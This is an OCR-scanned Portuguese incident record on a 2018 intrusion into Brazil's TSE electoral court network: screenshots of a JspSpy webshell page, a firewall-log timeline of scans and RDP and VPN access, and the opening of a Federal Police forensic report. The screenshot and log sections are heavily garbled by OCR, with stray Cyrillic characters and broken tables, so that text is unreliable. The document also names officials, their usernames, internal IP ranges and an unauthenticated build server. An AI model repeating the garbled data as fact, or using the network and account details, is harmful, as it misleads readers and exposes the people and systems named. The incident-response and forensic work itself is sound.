а 0100 иь Bot 

















Arquivo Ec Organizar = 
«META ht 3 i 
ЭГ Favoritos 
ЕЗ Área de Trabaho Reconectando-se 


3 Downloads 


i Locais A conexão foi perdida. Tentando 
reconectar se à sua sessão... 


! Arde não está disponivel. A conexão 


(ar 


СА Bibliotecas mor 


ГЕ Documentos NE será restaurada quando a rede estivar 


ç: disponivel. 


+ Músicas 
B Videos 


! Ysmalicons, xml backup Бу EV.3 28/08/2015 20:09 

LA uriblockederror 23/11/2011 18:11 

ER Redo 19 web 30/08/2016 12:50 Arquivo CONFIG 
КҮ Web.Config.backup by EV. t 27/05/2012 11:39 Arquivo 1 

С Web.Config.backup by EV.2 04/03/2014 17:28 Arquivo2 

L Web. Config.backup by EV.3 28/08/2015 20:09 | Arquivo3 

A web.config.bak 23/11/2011 18:11 Arquivo BAK 

+ | WebReadyiew 02/12/2013 1:54 Arquivo ASPX 


{М Computador 


POR. 1551 
^ E de ro ajo СЛ 


"Tela 3 


ER SWDC ет RAPSCINF103 - Conexão de Máquina Virtu: 
Asquivo Ação Mídia Área de Transferência Exibir 


ъ!© ®© ©!п pi RSIR 


Ww # 


al 


Ajuda 





Lexeira 


Winamp Po, Раем 


z РА Ds! Osce Local (C) 


Mozilla 

Firefox y РЫЙ 
Ж Acesso rápido 

ГІ Área de Trabalhe # 

ғ Downloads * 

Documentos + 


fe] Imagens t 


E Este Computador 
ЕП Área de Trabalho 
Documentos 
$ Downloads 
f] Imagens 
№ Músicas 
EJ] Videos 


Чы Disco Local 


Ў Rede 


imartConsole 


3 Conexão de Área de Trabalho Remota 


Conexão de 


--- IE mo» 


Geral Exibição Recursos Locais Experiência Avançado 
Configurações de logon 
ім Digite o nome do computador remoto. 
% Computador: ЕРА 


Vene demo 


Suas credenciais serão exigidas quando você se conectar. 


м 


(О Pemmair salvar minhas credenciais 
Configurações de conexão 


“ү Salve as configurações da conexão atual em um arquivo RDP 
[ ou abra uma conexão salva. 


== 


С) Ocultar Opções 





33itens — litem selecionado 


Tela 4 


EM SwDC em RAPSCINFIO3 - Conexão de Máquina Virtual 
Arquivo Ação Mídia Área de Transferência Exibir Ajuda 


отоо пъ Боз 


£ Início 
Contas 

Suas informações 
р Opções de entrada 


A, Outras pessoas 


38 install 
£ install 


ғ“. 


07/11/2007 08:03 
07/11/2007 08:00 


CONTA DO TSE 
TRE-APAtse 
Administrador 


Criar sua imagem 


П Procurar um 


Area de Trabalho Remota 


-Jesquisar Disco local (C 


Tamanho 


de arquivos 
dearquivos 
de arquivos 
de arquivos ES 
de arquivos : 


| 


de arquivos 
de arquivos 
de arquivos 


mento de Те... 
mento de Te... 
mento de Те... 
mento de Te... 


Aplicativo 
Parámetros de co... 


POR 


A 
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^ VÀ de prez 22/02/2018 














A Ф Чә рүвә 23/02/2018 





POR 15:55 


D 














ES sWDC em RAPSCINF103 - Conexão de Máquina Virtual 
Arquivo Ação Mídia Área de Transferência Exibir Ajuda 


jO @©О©|ни ›| 519 


- x 
е http://10.1.1.127:208D/teste/IspSpy jsp p-e [Eses Codz By -Niny х a Outlook Web App | [RR 30 


ШАҚЕУД/:3090 (10.1.1.127) JspSpy Мег. 2009 
Logout | File Manager | DataBase Manager | Execute Command | Shell OnLine | Back Connect | Port Scan | Download Remote File | ClipBoard | Remote Contra! | Port Map | JSP Env 











java.sql.SQLException: lo exception: The Network Adapter could not establish the connection 
at oracle jdbc.driver.DatabaseError.throwSglException(DatabaseError.java:112) 
at oracle jdbc.driver.DatabaseError.throwSqlException(DatabaseError java: 146) 
at oracle jdbc.driver.DatabaseError.throw SqlException(DatabaseError java:255) 
at oracle jdbc.driver.T4CConnection.logon(T4CConnection.java:387) 
at oracle jdbc.driver.PhysicalConnection.«init»(PhysicalConnection.java:439) 
at oracile.jdbc.driver.T4CConnection.<init>([T4CConnection.java:165) 
at oracle jdbc.driver. TACDriverExtension.getConnection(TACDriverExtension.java:35) 
at oracle jdbc.driver.OracleDriver.connect(OracteDriver.java:801) 
at java.sql.DriverManager.getConnection(DriverManager.java:620) 
at java.sql.DriverManager.getConnection(DriverManager.java:200) 
at org.apache.jsp.JspSpy jspSDBOperator.<init>(JspSpy jsp.java:72) 
at org.apache.jsp.JspSpy. jspSDbcInvoker.invoke(JspSpy. jsp.java:819) 
- atorg.apache jsp.JspSpy jsp. jspService(JspSpy jsp.java:2392) 
at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) 
at javax.servlet.http.HttpServiet.service(HttpServlet.java:717) 
at org.apache.jasper.servlet.JspServietWrapper.service(JspServletWrapper.java:377) 
at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServiet.java:313) 
at org.apache.jasper.servietJspServlet.service(Jsp Servlet.java:260) 
at javax.servlet.http.Http Servlet.service(Http Servlet. java:717) 
at org.apache.catalina.core.ApplicationFitterChain.internalDoFilter(ApplicationFilterChain.java:290) 
at org.apache.catalina.core.ApplicationFitterChain.doFilter(ApplicationFilterChain.java:206) 
at org.apache.catalina.core. StandardWrapperValve.invoke( Standard WrapperValve.java:233) 
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextVaive.java:191) 
at org.apache.catalina.core.StandardHostVatve.invoke(StandardHostValve.java:127) 
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) 
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) 
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:298) 
at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:852) 
at org.apache.coyote.http11.Http11ProtocolSHttp11ConnectionHandler.process(Http11Protocol.java:588) 
at org.apache.tomcat.util.net.JloEndpoint$Worker.run(JloEndpoint.java:489) 
at java.lang.Thread.run(Thread.java:636) 


Copyright (C) 2009 http.//www.Forji.com/ [TO0!s.Net] All Rights Reserved. 


POR 16:08 
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РТВ2 23/04/2018 


A partir desse relato observamos a instalação de um webshell (WebShell2JspSpy Private Codz By — 
Ninty.jsp) em algumas máquinas de TRE, mais notadamente TRE-SP e TRE-BA. 


Após análise dos logs do Checkpoint, firewall existente entre as redes do TRE-PE e TSE, foram 
verificados os seguintes indícios e fatos: 


No dia 18.04.2018 às 18:37:18 e às 19:03:45 houve acessos da máquina 10.12.2.29 à máquina 
10.8.8.188 via protocolo rdp; 


No dia 18.04.2018 a partir das 19:09:17 houve escaneamento das portas 80, 443, 3389 e 8080 em 
toda rede 10.8.0.0 a partir da máquina 10.12.2.29. Esse procedimento acabou às 20:45:47; 


No dia 18.04.2018 às 22:22:59 a máquina 10.12.2.29 tentou acessar as portas 80, 443, 3389 e 8080 
no endereco 10.8.0.0; 


No dia 19.04.2018 às 17:07:36 houve conexão na porta UDP 52638 na máquina 10.8.8.87 (ATA) a 
partir da máquina 10.12.2.29; 












No dia 19.04.2018 às 19:08:52 houve conexão na porta TCP 8080 na máquina 10.8.1.2 (pe2) apartir 
da máquina 10.12.2.29; 


No dia 19.04.2018 às 19:10:55 houve tentativas de conexáo na porta TCP 22, 80 e 8080 na máquina 
(10.8.1.11) РЕМАП 01 a partir da máquina 10.12.2.29 com várias interações na porta 8080; 


O endereçamento de rede 10.12 pertence à rede do TRE-PB. Ao investigar a origem do tráfego em 
10.12.2.29, descobrimos tratar-se de uma conexáo VPN disponibilizada para a empresa Digitro 
(terceirizada que dá manutenção nas centrais telefónicas do TRE-PB). Observando os logs do firewall 
do TRE-PB no momento do ocorrido, foi possível obter o endereço 177.165.110.249. 


маме шын w onn шо CM Di o e 
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EXO, 
көйө + 


No dia 19.04.2018 às 19:52:24 houve tentativas de conexáo na porta ТСР 8080 na máquina (10.8.1.11) 
РЕМАП 01 a partir da máquina 10.12.2.7 na porta 8080; 


No dia 19.04.2018 às 21:03:31 houve uma ünica tentativa de conexáo na porta TCP 1521 (ORACLE) 
na máquina (10.8.1.84) VULCAN - SERVIDOR DE BANCO DE DADOS DE APLICAÇÕES 
LOCAIS a partir da máquina 10.1.1.215 (spmalote01.tre-sp.gov.br); 


No dia 19.04.2018 das 20:04:07 até 21:13 houve conexáo na porta TCP 1521 (ORACLE) na máquina 
(10.8.1.84) VULCAN - SERVIDOR DE BANCO DE APLICAÇÕES LOCAIS a partir da máquina 
10.16.140.49 (plank.tre-rn.gov.br) com intercaladas conexões na máquina (10.8.1.11) PEMAILO1 
a partir da máquina 10.12.2.29 e da máquina 10.12.2.7; 


Ainda no dia 19.04.2018, a máquina 10.12.2.29 acessou as máquinas 10.8.1.25, 10.8.1.29, 10.8.1.54, 
10.8.1.56, 10.8.1.107, 10.8.1.113 às 22:04:05 com interagáo entre as máquinas indicando uma 
possível tentativa de invasão. Por volta das 22:40:08, a máquina 10.12.2.7 começou um scan na porta 
3389 na rede 10.8, terminando por volta das 04:36:43 do dia 20/04. 


No dia 20.04.2018 às 6:29, a máquina 10.12.2.29 tentou acesso via porta 3389 as máquinas 10.8.8.12, 
10.8.5.18, 10.8.3.49, 10.8.2.68, 10.8.7.137 e 10.8.12.138. Esse acesso teve mais de uma interação, 
indicando uma possível tentativa de comprometimento dessas máquinas. 


Por volta das 08:02:18, a máquina 10.12.1.29 começou um scan da rede 10.108 para as portas 8080 
e 3389. Esse procedimento acabou às 09:30:37. 


Às 10:58:11 do dia 20.04.2018 a máquina 10.12.1.29 tenta conexão nas portas 8080 e 3389 para o 
endereço 10.108.0.0; 








“Ав 10:59;54 do dia 20.04.2018, a máquina 10.12.2.7 começa um escaneamento na rede 10.8*pe d 


porta 3389, terminando às 13:01:03. 


Durante о dia 20/04/2018 percebemos ainda várias tentativas de acesso nào identificados da máquina 
10.12.2.7 a máquinas de nossa rede usando a porta 3389 о que, pela diferença no tempo de acesso 
nos leva a crer que seja algum programa robó. O acesso durou até as 13:15:50 do dia 20/04/2018. 


No dia 20.04.2018 às 15:12:27 houve tentativa de escaneamento a partir da máquina seres12 
(10.8.15.13) de nossa administração para o IP da máquina do TRE-RN 10.16.140.4 com o intuito de 
tentar descobrir mais informagóes sobre a máquina em uso. O escaneamento de portas para este IP 
ocorreu logo após descobrirmos o acesso à máquina no nosso servidor de banco pela máquina 
plank.tre-rn.gov.br. Depois vimos que o IP estava errado pois o IP correto da plank.tre-rn.gov.br era 
o 10.16.140.49. 


Dia 20.04 a partir das 23:44:04 percebemos no log outra tentativa de escaneamento de portas na rede 
efetuada a partir da máquina 10.7.10.28, sendo especificamente as portas: 80, 443, 8080, 8081, 8180, 
21, 3389 nos nossos firewall checkpoint (IP's 172.16.8.201, 172.16.8.202, 172.16.8.203, 
172.16.8.204), em um dos firewalls sonicwall (IP's 172.16.8.222) e na máquina piedade (IP: 
172.16.8.218), nosso firewall para a rede externa. 


Dia 20.04 a partir das 23:44:08 houve uma série de conexóes na porta 443, provenientes da máquina 
10.7.10.28, aos firewalls checkpoints e à máquina piedade. Avaliando os logs da própria piedade no 
horário, vimos que os acessos se deram com o objetivo de achar vulnerabilidades no PHP ou em 
algum outro serviço web, porém, segundo consta no log da máquina, não conseguiram ser achadas. 
As сопехбев foram até dia 20.04 às 23:45:53. 


A partir das 00:15:16 do dia 21.04 registramos duas tentativas de conexão pela porta 445 da máquina 
10.12.2.7 nos IP's 10.181.197.85 е 10.8.69.60. Tais IP's não existem em nossa rede, o que nos causou 
estranheza. 


Também foi registrado às 01:30:00 do dia 21.04 acesso do IP 10.12.2.29 à porta 80 do IP 10.8.1.209, 
correspondente à ILO (porta de manutengáo) de um de nossos servidores que foi desconectada no dia 
23.04. | 


Аз 1:32:41 do dia 21.04 registramos ошто escaneamento da máquina IP 10.12.2.7 em várias máquinas 
de nossa rede local windows pelas portas 3389, sendo finalizado o acesso às 1:34:58 do dia 21.04. 


A partir de 01:35:29 do dia 21.04 até 03:32:27 do dia 21.04 verificamos um outro escaneamento de 
rede partindo do IP 10.7.10.28 para a rede 10.181.0.0 (zonas eleitorais) nas portas 8080, 3389, 21, 
8180 e 8081. 


Após o escaneamento uma tentativa de conexão no dia 21.04 às 06:31:42 na porta 445 da máquina IP 
10.108.16.39 vindo da máquina 10.12.2.7. 


No dia 21.04 a partir das 07:50:45 até 08:07:47 novo escaneamento na porta 3389 a partir da máquina 
10.7.10.28 na rede 10.181.0.0 e sub-redes. 


No dia 21.04 a partir das 09:22:48 até 09:27:13 a máquina 10.7.10.28 escaneou as portas 8000 até 
8999 nos firewalls checkpoint 172.16.8.201, 172.8.16.202 e 172.16.8.203 e nos IP's 172.16.8.204 a 
172.8.16.217. 














No dia 21.04 a partir da máquina 10.7.10.28 das 09:27:13 até 09:28:47 escaneou os IP's 172.16N 218 
(piedade) até o ІР 172.16.8.223 nas portas 8000 até 8999. Е 


No фа 21.04 da máquina 10.7.10.28 das 09:30:44 até 09:32:14 tentou conexão à rede 172.16.8.1 а 
172.16.8.223 na porta 3389 a partir da máquina. 


No dia 21.04 a partir da máquina 10.7.10.28 das 09:44:22 até 09:58:58 tentou conexáo em toda a rede 
10.8.0.0 a partir da porta 3389, sendo desconectado após retirarmos o acesso do TRE-PE à rede do 
TSE. 


Por fim buscou-se identificar quais portas de entrada foram utilizadas pelo atacante. Além da VPN 
do TRE-PB, conforme relatado acima, foi identificado um ponto de entrada (talvez o primeiro) a 
partir de uma máquina no TRE-RN. 


O TSE disponibiliza máquinas virtuais para o TRE-RN, sendo que o TRE optou pela implementação 
deu m proxy reverso nesse servidor disponibilizado no TSE. Enviando comandos para esse 
equipamento, o atacante conseguiu acesso a um servidor do TRE-RN, a partir do qual iniciou esses 
ataques. 


Analisando os logs do servidor web, observou-se que os primeiros acessos ocorreram no dia 16 de 
abril de 2018. 
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Existe uma cópia desta máquina virtual encaminhada junto a este relatório. A mesma está sob o 
nome de trernrack.zip. 


Por fim, durante o período de análise, observou-se conexóes indevidas à VPN de acesso do TSE. Uma 
dessas conexóes foi realizada com o usuário do Coordenador de Infraestrutura do TSE. A senha desse 
usuário nào era trivial e utilizada exclusivamente no ambiente do TSE. 














4. | Log In 


Mobile Access 



















| ° | 
Тод into ^ Traffic a | 
Origin e Namor Source Ӛ 185.153.176.7 | 
Тепе (O Yesterday, 17:50:05 User Cristiano Moreira Andrade (cristiano.andr... { | 
more | 

Бізде <> Mobil Я ы 
< Mobile Access User DN CNucristiano.andrade.OU=Gabinete da CO.. : 
Product Family Y Access mare ! 
уре tog Service https (TCP/443) | 





Application Policy 


Category Session Action „В Log tn 










































: Host/device % Mobile Access Detals ^ | 
I os Windows 10.0 User Groups ad user «ristiano.andrade | 
| Browser Chrome Mobile Access sess... TA3SCOBD-D2FD-SAE8-0A32-0103035F0000 
| | 
i 
; Client Information Actions a 
U 5 
г Мате „Мовйе Access Portal Report Log Report Log to Check Point 
{{ version 880.10 
i! More 
H 
i Session A 14 0a320103-0351-0000-5ae8-d21400000001 
login Option 591 vpn Marker £A90088 1525203676000 5731397 
| 7 . 
| Login Option Facto... Password Log Server Origin bulk (10.50.1.2) ! 
Data Protocol ss ІЗ Generated By in... false 
First true 
Centancantm 
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O atacante tentou realizar portscan a partir dessa conta. 


Mi 
| 


pones < „ QC G, Q Oust nous - user:cnistiano.andrade 


| Showing first 50 results (459 ms) ой of at least 2, 104 results 








































Source User Name Destination 4 
наз, 15 $ Otimo 192,168 210 243 Crustrano Moreira Andrade (запа. ала... 1860511 (00501... rbnyme (UDE/137] ем j 
Herday, 19.16.50 $ imo 192168210243  Спуйзпо Morera Andrade (сненапо.апд.. sedet (102141... -nbname uor — 6 Y 
Ме азу, 10.1606 ЕЗ Nomor 192.168.210.243 — Cristiano Morena Andrade (cristiano, and, 
Иезвау, 10:16:06 ЕУ Namor 192163210243 — Cristiano Morelia Andrade feristtano and... ! 
pea, 10:12:30 + O samo: 1921602210243 — Cristiano Moreira Andrade койюподпй.. ңедс10|10,20,1.. noname (00Р7137) 20 ш 
pre. dy, 121043 €) Namor 192.160.230243 Сииіапо Morelia Andrade feristiono.and... i 
Me day, 10.10:48 €) Namor 192168210243 Cristiano Moreira Andrade destano and... 
iteiday, 120220 iO. + Omo 19263210243 — Cristiano Moreira Andrade (atiano,and,,, ікей(10 (10.38... abname (UDPA137 60 Un 
Merday, 19:08:50 RONS сонати 192162210243 Cristiano Moreira Andrade (uistiano.and.. Bedeli (10301... noname (UD£/177) өм ш 
Eterday, 18:00:30 O eue 192168210243 Cristiano Moreira Andrade [cristisno.ano.., : 
Serdoy, 18.0020 B саналы 392168210243 — Cristiano Moreira Andrade (erittianoand., - ' 
Медеу, 180620 EO Ф O ramo 192,160.210.243 — Cnstano Moreira Andrade [cilstiano and... Чейе!! 10.30л., abname(UDP/137) — 604 uni 
Steeday, 1756500 E (2 ^, $ СУ Mamor 192165.210243 — Cristiano Moreira Andrade Ieristianoang.i tsedejo 102034... Frame tubp &M unt 
bte day, 17:54:07 ( 3 маты 192188210243 — Cristiano Morelra Andrade [eristiano.and._ 100049.32 > 'Femote Desktop Pr. 604 им 
herday, 17:54:07 3 «зет 192165210242 Cristiano Moreira Andrade (costa nisi? 10904419, .- ExmoteDésttop.. 604 Una 
stesday, 1754:07 % Gor 9216210243 Cristano Moreira Andrade tenstano.dndu 10 918 ДЕ “Remate Desitop Pr. о ич 
езу. 17:54:07 4 мате 192.158.2102499 — Critiano Morena Andrade teustanoandi” 10.304 i29. 5e 1 mote, Оейктар, Pr. өм Una 
Rteraay, 175407 $ D мато 192,168.210.243 — Cristiano могена Andrade {ойло ando i202 NE Rerhate, Desktop. Pi. 6“ i Una 
Медеу, 17,64:07 $ E namo: 192.168.210.244 Cristiano Moreira Andrade (cristiano and...” 10,30.49.127 2 Remote beskiop Pin е чой 
stésday, 17:54:07 Lim 192,168,210243 Cristiano Morelia Andrade [rmstionoand.. 1063049326 ^" бете Desktop Pi... 8M Una 
hterday, 17:54:07 £ ез amor 192168210243 Cristiano Могема Andrade (cistano and. 03049135." Вале Det top, Pe. ва. па 
ferday, 17:64:07 $ rano 192,160,210.243 — Cristiano Morea Andrade (iristiano anda, 10304924." Remote Desttop Ро. 694 Ural 
bterday, 17:54:07 k ау Hamor 19248821043 — Crstlano Moreira Andiade (ulstanoand... 103049123 ` Remote Desktop m 604 ` Una 
Weds таба? BIG) "y $ ED lago 1923882104 — Custiano Morelo Andiade (eistiano and. 103049122 Remote Desktop Pru 804 Una 
aterday, 17:54:07 £ O мяо: 192.360.210.243 — Cristiano Morena Andrade (то ала. 103049.121 Remate Desktop, Pr. өм poH 
iind 37:54:07 £ O Hanor 192168210243 — Cmtrame Moreira Andrade [uistiano.and... 10.0049,120 ` Remote Desktop Pr. 604 — Uned 
Дегаву, 17:54:07 £ ano 192168210243 Сийізао Moreta Andrade (cristiano опал. 103049, 119 Remote Desktop Pr. € Unau 
үка 17-5407 4 dno 192163210243 — Cristiano Moreira Andrade (койапомпа.. 10,30.49.118 Remote Desktop, 604 Una j 
Hterday, 17:54:07 £ Су натог 192.163.210.243 Cristiano Moreira Andrade (aisttano.andu, 10.304917 Remote Desktop Pr. 604 е 
terday, 17.54.07 $ Є nor 192168210243 Cristisno Moreira Andiade (cristano.and.. 103049116 Remote Desktop Fr. 604 Una 
deis 175407 + Mano 192168210243 Cristiano Morela Andrade (etstiano and.. 102049115 Rewete Desktop Pr. 64 — Unaut 
Eterday, 17:54:07 $ Menor 192163210243 Cristiano Moreira Andrade (CINO зай,. 105049.114 Remote.Desktop Pr. 603 Опа 
16-бау, 17.54.07 4 O tano: 192.1€3.210243 — Cristiano Moreira Andrade (ciistianoand., 10.30.49.113 Remote Desktop Pr.. 604 Us 
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16 day 175457 бағана 192168210243 Costano Moresta grande lentano and.» 10.2049. 11 Remcte Desktop Pu, 604 Unau 
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“Pesquisando nos logs do firewall, identificou-se que outros usuários também foram acessades..z 
partir do mesmo IP (que pertence à VPN do NordVPN). 


CDemmeo Queny 





dee < > QUO, Q, Quas24Hous - blade:"Mobile Access" AND action("Failed Log In" OR "Log In") AND NOT user:(consular О! 
Found 6 results (404 ms) | | o 





Ф tb: 
Yestecday, 17:50:05 > а Ца| Ed Namor 185.153.176.7 Cristiano Moreira Andrade (cristiano andrade) Mobile Access P... Windows Password 
Yesterday, 17:49:18 е р, G5 Namor 185.153.176.7 Marcos Goulart de Souza (marcos.goulart) Mobile Access P... Windows Password 
Yesterday, 17:39:18 = E бз 3 Nomor 185.153.176.7 André Luiz Do Nascimento Sousa (andre.nastimento) Mobile Access Р... Windows Password 
Yesterday, 17:16:29 е m D, EA Namor 185.153.176.3 Carlos Pereira Oias (cartos.dias) Mobite Access P... Windows Password 
Yesterday, 12:02:40 = 8 СО Мате: 185.153.176.3 John Carmino de Sousa (john.sousa] Mobile Access P... Windows Password | 
Yesterday, 16:57:12 е B Q СЗ Namoi 185.153.176.3 Rafael Nunes Saraiva (rafael.saraiva) Mobite Access P... Windows Password ' 


aF utasa hpa кы ИЕ A Mis Ж Ag ЕЛҮ - Eres mono CENE 


Devido à nào trivialidade da senha do coordenador, е de outros usuários terem sido comprometidos, 
cremos que a base de usuários do AD pode ter sido comprometida e que o atacante está quebrando 
as senhas para posterior uso. 


Relacáo com o Evento de Setembro de 2018. 


Em reportagem divulgada no site Tecmundo, em 07 de novembro de 2018, cujo texto é transcrito 
abaixo: 


"Com isso, obtive milhares уса кое ыа 
E (intranet) e, por vários 
de códig os-fon tes, meses, fiquei explorando a 
documentos sigilosos e até rede, inclusive entrando em 
«ан diversas máquinas 
mesmo credenciais diferentes do TSE, em 


busca de compreender o 

funcionamento dos 
sistemas de votação”, escreveu a fonte. “Com isso, obtive milhares de códigos- 
fontes, documentos sigilosos e até mesmo credenciais, sendo login de um ministro 
substituto do TSE (Sérgio Banhos) e diversos técnicos, alguns sendo ligados à alta 


cúpula de ТІ do TSE, ligado ao pai das urnas (Giuseppe Јапіпо)“. 








O atacante descreve que possuiu acesso à rede interna, por vários meses, entrando em d gras „И 


“máquinas. Este relato condiz com o que foi observado em abril deste ano. 


Além disso ele descreve que houve troca de e-mails entre os técnicos do TSE e que os acessos de 
VPN foram cortados, o que de fato ocorreu. 


"Passadas algumas semanas em que estive utilizando os equipamentos de rede do 
TSE, notei via emails dos técnicos da ST! que os mesmos notaram tráfego suspeito 
(porque utilizei programas de scan na rede)”, explica a fonte. “Fizeram uma perícia 
para detalhar como o invasor conseguiu obter acesso ilegal à rede, mas mesmo 
com todos estes procedimentos de segurança que dotaram, incluindo a alteração 
de senhas de todas as contas, acabou não sendo suficiente para interromper meu 


acesso aos emails e também para a rede interna”. 


"Somente O código-fonte A fonte também indicou 
que durante a votacáo de 

descomp actado (GEDAI- primeiro turno, no dia 07 

LJ E), u | tra pa ssa 3G B S и de outubro, os técnicos do 
TSE "cortaram acesso VPN 


e ao Correio, talvez para 


justificar que as urnas não possuem conexão à internet”. 


Observa-se ainda o relato de que ele obteve acesso à senha do Ministro Sérgio Banhos e também a 
senha de alguém ligado ao Secretário de Tecnologia da Informação. Conforma relatamos acima, é 
bastante provável que, em Abril, o atacante tenha conseguido copiar a base de dados do AD, e 
posteriormente tenha tentado quebrar as senhas de acesso, conseguindo a senha do Ministro Sergio 
Banhos e também do Coordenador de Infraestrutura, Cristiano Andrade, que possivelmente é a pessoa 
descrita na reportagem como ligada ao Secretário de Tecnologia da Informação, Giuseppe Janino. 


Ao tomar conhecimento da reportagem, esta equipe buscou verificar como o acesso aos códigos 
fontes da urna poderia ter ocorrido, uma vez que as fontes ficam armazenados em um servidor 
protegido. 


Durante esta pesquisa foi localizado o servidor 10.30.1.229, que possui um portal da Seção de Voto 
Informatizado, SEVIN. Neste portal havia a indicação de link de dois servidores de integração 
contínua, um em Windows e outro em Linux, conforme imagem abaixo. 











~ € Э С ФО Nãoseguro| 10.301.229 


| Vocé está no servidor tsesevin-01 da SEVIN | 


Servicos disponíveis 


| КА wiki SEVIN - Página da base de conhecimento da SEVIN 
(лгы: SEVIN - Página de planejamento da SEVIN | 


а Windows - Jenkins - Servidor de Build das aplicações Windows 








| a Linux - Jenkins - Servidor de Build das арПсасбев Linux Я 
| f Verificador de arquivos hash ) 


doxygen Documentação do projeto UENUX 


| CIONES == Documentação do projeto GEDAI-UE 





Documentação publicada na SEVIN 


+ DOXGEN SAVP - Documentação gerada pelo doxgen dos fontes do SAVP 
* DOXGEN LIBDESKTOP - Documentação gerada pelo doxgen dos fontes da LIBDESKTOP 
+ DOXGEN LIBSEVIN - Documentação gerada pelo doxgen dos fontes da LIBSEVIN 


Serviços Desativados 
е UENUX - build3w - Página de acompanhamento do Builder do UENUX - Desativado 
• XPlanner SEVIN - Página de planejamento da SEVIN - Desativado a partir 2011 
е Desktop - CruiseControl - Servidor de Build das aplicações Windows 
* Desktop - DashBoard - Interface grafica do Servidor de build Windows 
* Linux - CruiseControl - Servidor de Build das aplicações Linux 
* Linux - DashBoard - Interface grafica do Servidor de build Linux 


Estes equipamentos eram responsáveis pela compilação dos softwares, em sua versão Windows e na 
versão Linux. Em execução neste equipamento estava o Jenkins, configurado pela própria equipe da 
Sevin e sem qualquer autenticação. Este servidor estava acessível para toda a rede e permitia a cópia 
de do código fonte. O conteúdo das informações ali dispostas bate com o apresentado na reportagem. 
Por fim, também foram apresentados na reportagem documentos e outras informações constante em 
contas de e-mail, o que também foi acessado de maneira indevida, a partir de abril. 
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SERVIÇO PÚBLICO FEDERAL 
MJSP - POLÍCIA FEDERAL 
COORDENAÇÃO-GERAL DE POLÍCIA FAZENDÁRIA 
SERVIÇO DE REPRESSÃO A CRIMES CIBERNÉTICOS 


INFORMAÇÃO Nº 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF 
DO: PCF FLAVIO SILVEIRA DA SILVA 


PARA: Chefe do GRCC/DRCOR/SR/PF/DF 
ASSUNTO: RELATÓRIO DE ANÁLISE DE ALTA TECNOLOGIA 


Senhor Chefe, 


А presente Informação trata das informações encaminhadas pelo Tribunal Superior 
Eleitoral, referentes ao processo SEI nº 08200.021554/2018-33, sobre possível invasão aos 


sistemas informatizados daquele Tribunal. 


Foram encaminhadas a esta UTC/SRCC/CGPFAZ/DICOR/PF 02 (duas) mídias 


digitais, descritas abaixo: 


е ІТЕМ 01: 


01 (um) disco rígido externo, marca MULTILASER, cor prata, com capacidade 
nominal de 120GB; 


е ITEM 02: 


01 (um) pendrive sem marca aparente, cor preta e prata, com capacidade nominal 


de 8GB. 


O item 01 continha os seguintes arquivos listados abaixo: 
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INFORMAÇÃO N° 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF (continuação) 


Segundo informarse fornecidas pelo TSE, os arquivos “syslog_sonicwall.tar.gz” 
e “usr digitro.tar.gz" contem registros de log de firewall oriundos da rede de computadores do 
TRE/PB. O arquivo “trernhack.zip” contém uma imagem de máquina virtual oriunda do 
TRE/RN, o qual poderia ser o primeiro ponto de entrada náo autorizado à rede dos TREs / TSE. 
Já o arquivo “c2589eae-bd75-4a78-99e0-414aecb261a1.rar” contém uma imagem de disco 
usada por máquina virtual (VMDK). Não foi possível abrir o arquivo “ad0e9b60-bbb1-4dbf- 
87a5-96a2d2edb317.rar” para verificar seu conteúdo. 


Já o item 02 apresentava os seguintes arquivos: 












































N DO АКС x 
a 2 É 5 





Ва 


Weristiano andrade CorreioEletronico 09.х15 8dla65cbf36d05c43a640c23adfbd048 
Weristiano andrade CorreioEletronico 10.xls 9837£08£89a256ca69011535dec3b7£32 


Weristiano andrade CorreioEletronico 11.xls 


Я 


Wcristiano andrade Detalhe do Firewall - b73fd2f4- cac3249b9e74bb95e7d3e5712325b8ee 


b15e-4fe7-8d9d-a834fe6f497b.JPG 
Neristiano andradellMG_8080 - Diálogo Marcelo 











9d3a10d2ad54461c84b79a8007afeaeb 


Carneiro (chefe da rede) com Cristiano Andrade 


(Coordenador de Infraestrutura).PNG 


цэ, 
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c2061f61862a348b2ceec0297d735e9b 





Weristiano апдгаде МС 8081 - Diálogo Marcelo 













Carneiro (chefe da rede) com Cristiano Andrade 








(Coordenador de Infraestrutura).PNG 


A 


c49e95d0d73099866358de89253f965b 


a 
ago Taos Coreen s 
Tratos Corea ВО 
kz; [s 
евина sss 
kuu жана 
Шы лан 
feiras ЕТТУ — 
























Weristiano andrade Tela do Firewall - 7a4778bb- 
0ce7-484b-b824-ael6cdf937b7.]PG 







Nsergio-banhosiCorreioEletronico 09-1.xls 
Nsergio-banhosiCorreioEletronico 09-2.xls 
Nsergio-banhosiCorreioEletronico 10-1.xls 
Nsergio-banhosiCorreioEletronico 10-2.xls 
Wsergio-banhosiCorreioEletronico 11.xls 
Nsergio-banhosiServidorDeArquivos 05-08.xls 
Wsergio-banhos|ServidorDeArquivos 08-11.xls 


Wsergio-banhosWisita Varonis 9-11- ae68c731022bab7c074f4a4fe3e4ab57 











2018\Autenticação do AD no contraturno 1-abr 8- 


nov.xls 






\\sergio-banhos\Visita Varonis 9-11-2018\Eventos | 7333732882a06a7fac5a9a6ca0612a39 


no AD 1-abr_8-nov.xls 





Т 
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Wsergio-banhosWisita Varonis 9-11-2018 Mailbox |c3f89c998d26e724c0cfb5674c4b83be 


Logon l-abr 8-nov.xls 





Os arquivos до item 02 com extensão “xls contem registros de logs de autenticação, 


correio eletrônico e servidor de arquivos dos usuários “Sérgio Banhos”, “Rodrigo Coimbra" e 


“Cristiano Andrade”. Também foram encaminhadas imagens de capturas de tela, tp) 


um relatório produzido pelo TSE para auxiliar na elucidacáo dos fatos. 2 





At 
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ANÁLISE 


No escopo deste Relatório, foram analisados o arquivo do item 01 
“usr digitro.tar.gz” e os arquivos do item 02 com extensão “xls”, exceto aqueles presentes na 
pasta “Wsergio-banhosWisita Varonis 9-11-2018”. Para isso, tais arquivos foram tratados, 


indexados e analisados por meio das ferramentas ElasticSearch, Logstash e Kibana (ELK). 


Foi necessário converter os arquivos “xls” para a extensão “csv”, para que 
